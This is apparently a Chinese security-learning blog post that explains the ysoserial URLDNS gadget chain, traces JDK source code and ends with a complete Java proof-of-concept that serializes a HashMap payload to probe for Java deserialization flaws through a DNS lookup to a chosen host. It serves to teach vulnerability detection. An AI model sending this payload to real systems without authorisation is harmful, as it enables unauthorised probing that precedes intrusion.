JAVA反序列化之URLDNS链分析

URLDNS链

URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

思路分析

ysoserial中列出的Gadget:

*   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

这个链子实际就是来探测是否存在JAVA反序列化的,这里这条利用链最后就是发起DNS请求就OK了

前面都学过,反序列化的其实就得找到readobject函数才行,所以我们这里直接去找能作为入口的内置类,这里我们使用的是HashMap这个内置类,至于为什么使用这个类,解释是这样的

  1. HashMap是一个广泛使用的Java集合类,用于存储键值对。由于其普遍性,攻击者可以利用HashMap来隐藏恶意代码,使其更难被发现。
  2. HashMap实现了Map接口,可以通过反射机制动态地调用其方法。这为攻击者提供了方便,使其能够通过反射调用HashMap的方法,进而触发DNS查询。
  3. 在URLDNS链中,攻击者会利用HashMap的hashCode()和equals()方法来触发DNS查询。这是因为在HashMap中存储元素时,会根据元素的hashCode()和equals()方法来确定元素的存储位置。通过恶意输入,攻击者可以构造一个特殊的hashCode()和equals()方法实现,使其在HashMap中触发DNS查询

所以这里我们把HashMap作为我们的入口类,这里直接查看HashMap这个类里面,我们得去寻找readObject方法,这里就直接看源码

private void readObject(ObjectInputStream s)//读取传入的输入流,我们可以对传入的序列化数据进行反序列化
        throws IOException, ClassNotFoundException {

        ObjectInputStream.GetField fields = s.readFields();

        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);

        lf = Math.min(Math.max(0.25f, lf), 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);

        reinitialize();

        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);//检测反序列化的数据是否合法,并且与预期的数组类型和大小匹配。
            @SuppressWarnings({"rawtypes","unchecked"})//注解用于抑制编译器生成的警告
        
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];//创建了一个新的 Node 类型的数组 tab,其大小为 cap。Node 类是 HashMap 中用于存储键值对的一个内部类,通过强制类型转换 (Node<K,V>[]) 来告诉编译器这个数组的实际类型,用来存储键对值。
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

**putVal(hash(key), key, value, false, false);**这个函数才是这么多代码的重点,我们可以是通过这个函数进入下一部分,这里会存储我们url里面的key

putVal 方法是 HashMap 中实现键值对存储机制的核心,它处理了哈希表的初始化、扩容、节点查找、冲突解决以及节点存储等复杂逻辑

这里放入了key,所以我们直接跟进这个hash方法()

static final int hash(Object key) {
      int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

这里调试的话直接会进入hashCode()方法,但是这里的key是ObjectInputStream s.readObject读进来的,所以我们必须在URL这个内置类里面进行我们的查看

 ##URL.java
public synchronized int hashCode() {//synchronized关键字确保了多个线程同时访问这个方法时,能够保证线程安全
        if (hashCode != -1)//这个是一个防止触发后续方法的点,在后面就会利用这个
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

这里我们又得继续跟进handler这个对象是什么

 ##URL.java
transient URLStreamHandler handler;

transient关键字用于修饰类的成员变量,表示该变量不应被序列化。也就是我们的handler不会被写入到输出流里面,所以我们这里。这里就得提一提URLStreamHandler这个的作用了

URLStreamHandler 负责处理特定协议的 URL 的解析和连接。如果 URLStreamHandler 被序列化,那么在反序列化过程中可能会因为环境的变化而导致无法正确解析和连接 URL,从而影响 DNS 查询的触发。

按照文章来看这里我们就得进入URLStreamHandler里面了,我们就得直接去查看里面的hashCode()方法了,但是但是,why?

这里简单解释一下

##URL.java
hashCode = handler.hashCode(this);
//如果hashCode 字段是 -1(表示尚未计算哈希码),则调用 handler.hashCode(this) 来计算哈希码,这里是在URL类里面调用的,但是实现这个方法的是在URLStreamHandler这里面
##URLStreamHandler.java
    protected int hashCode(URL u) {
    ..............
        InetAddress addr = getHostAddress(u); 
    ..............
}//很明显可以看到这里调用hashCode的时候我们就触发了DNS解析

这里是URLStreamHandler里面的实现的源码

 protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);//将主机名解析为IP地址
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

InetAddress 类是用于表示网络上的 IP 地址的。getHostAddress 方法是 InetAddress 类的一个静态方法,用于快速获取指定主机的 IP 地址。

这里实际上就可以触发dns解析了,实现代码是,追踪实现getHostAddress的类

    synchronized InetAddress getHostAddress() {
        if (hostAddress != null) {
            return hostAddress;
        }
        if (host == null || host.isEmpty()) {
            return null;
        }
        try {
            hostAddress = InetAddress.getByName(host);//这里就实现了解析
        } catch (UnknownHostException | SecurityException ex) {
            return null;
        }
        return hostAddress;
    }

链子构造

这里我们又得回到最初的代码了

##HashMap reabObject
putVal(hash(key), key, value, false, false);

这里的key实际上使我们在readObjiect这个方法里面获得的数据,所以我们在writeObject之后就会获得我们的key

我们跟进writeObject函数会看到

##HashMap
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
        Node<K,V>[] tab;//声明了一个泛型数组 tab,它存储 HashMap 的键值对
        if (size > 0 && (tab = table) != null) {
            for (int i = 0; i < tab.length; ++i) {
                for (Node<K,V> e = tab[i]; e != null; e = e.next) {//循环遍历每个桶中的链表,链表中的每个节点 e 都包含一个键和一个值
                    s.writeObject(e.key);
                    s.writeObject(e.value);
                }
            }
        }
   }

这里就可以看到了,我们要求对tab的值进行修改,这里使用的是put方法来修改键对值,但是这里有个很重要的坑就是,我们的put方法会自动触发我们的putval方法进行DNS解析,就不行了

 filed.set(url,66);//这里把url的哈希值不设置为-1,因为下面得触发HashMap里面的put方法,防止触发之后提前解析
map.put(url,"55");//随便设置就OK
filed.set(url,-1);//这里把值改回去触发我们的DNS解析。

最后一个点就是这里实际上我们的hashCode是我们的私有方法,所以我们使用反射的方式直接获取

        Class clas=Class.forName("java.net.URL");//反射加载这个类
        Field filed=clas.getDeclaredField("hashCode");//反射获取hashCode方法,因为这个方法的属性是私有的
        filed.setAccessible(true);//设置hashCode字段的访问性为true,这意味着即使它是私有的,也可以被外部代码访问和修改。

链子

import java.util.HashMap;
import java.lang.reflect.Field;
import java.net.URL;
import java.io.*;

public class urldns{
    public static void main (String args[]) throws Exception {
        HashMap map=new HashMap();//实例化HashMap,反序列化的入口,存放数据(键对值)
        URL url=new URL("http:///ip+port");//这里传入我们的DNS解析的参数
        Class clas=Class.forName("java.net.URL");//反射加载这个类
        Field filed=clas.getDeclaredField("hashCode");//反射获取hashCode方法,因为这个方法的属性是私有的
        filed.setAccessible(true);//设置hashCode字段的访问性为true,这意味着即使它是私有的,也可以被外部代码访问和修改。
        filed.set(url,66);//这里把url的哈希值不设置为-1,因为下面得触发HashMap里面的put方法,防止触发之后提前解析
        map.put(url,"55");//随便设置就OK
        filed.set(url,-1);//这里把值改回去触发我们的DNS解析。
        try{
            FileOutputStream outputStream=new FileOutputStream("./E4telle.ser");//创建了一个对象,用于向文件中写入数据。
            ObjectOutputStream outputStream1=new ObjectOutputStream(outputStream);//将使用之前创建的对象来写入序列化数据。ObjectOutputStream 是 FileOutputStream 的装饰器,它提供了序列化对象的功能。
            outputStream1.writeObject(map);//写入数据,也就是序列化的内容
            outputStream.close();
            outputStream1.close();

            FileInputStream inputStream=new FileInputStream("./E4telle.ser");
            ObjectInputStream inputStream1=new ObjectInputStream(inputStream);
            inputStream1.readObject();
            inputStream1.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}
  • 23
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值